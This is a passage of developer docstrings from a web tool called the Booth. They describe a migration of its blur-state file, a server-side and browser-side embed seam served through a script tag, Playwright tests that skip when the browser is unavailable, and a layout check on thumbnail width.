following a link or blocking on a FIFO. The legacy `.blurred` is still READ, as
lines, while no `.blurred.json` exists; the first write retires it. Two names,
so neither format is ever sniffed (heid bug-hunt on this change, 3 of 3 arms).
Two writers share the file: the service (the operator's per-item control) and
`scripts/booth blur` (a session at post time). Both go through `booth.blur`,
which is stdlib-only so the CLI can import it under the system python3.

"""U3 — the declared embed seam, server side.
The Booth used to reach into a verbatim report with ten regular expressions: six
to find somewhere to hang a favicon and a chip, four to substitute rendered ask
markup into the author's own tags. This unit replaces all of it with a seam the
page declares:
<script src="/_booth/embed.js" defer></script>
What is tested here is the SERVER half — the payload that crosses the seam, the
one static asset, and the single conditional append that is now the only thing
the Booth does to author HTML. The half that mounts fragments into a live DOM
lives in tests/test_embed_browser.py, because no amount of string assertion can
see whether a form actually submits.

"""U3 — the declared embed seam, in a real DOM.
The Python suite can prove what the server OFFERS. It cannot prove where a
fragment lands, whether the author's own markup survived the mount, or whether
four radio groups scattered down a report still submit as one POST — and that
last one is the operator's most important workflow. Before U3 those properties
were true by construction, because the server did the placing and the `form=`
bindings were static by the time the page was parsed. Now they are true because
`/_booth/embed.js` does it in a live document, which is a different kind of
claim and needs a different kind of test.
So: a real uvicorn on an ephemeral port, a real Chromium.
SKIPS, NEVER FAILS, when playwright or the shared browser is unavailable. The
box-wide store at /opt/ms-playwright pins specific Chromium revisions and a
playwright release that wants a newer one dies with an opaque "Executable
doesn't exist" — see pyproject's version bound. A test layer that goes red for
an environment reason teaches nothing and trains people to ignore it.

"""Thumbnails against the tile they are drawn into, in a real browser.
`THUMB_WIDTH` is derived from a LAYOUT number: the widest gallery tile on the
desktop grid, doubled for a 2x screen. A Python test cannot see a CSS width, so
without this file the constant and the grid could drift apart silently, which
is how the tiles went soft in the first place. If the grid widens its tiles,
this goes red and the constant is revisited, rather than the operator finding
it by eye.
Scoped to the desktop layout (3 columns, 1440px and up), which is where tiles
are measured at 321-361 CSS px. Narrower windows reflow to 2 columns (up to
472 px) or 1 (up to 650 px): at 2x density those are softer than this bound
covers, and that is a known limit, not a defect this file asserts against.
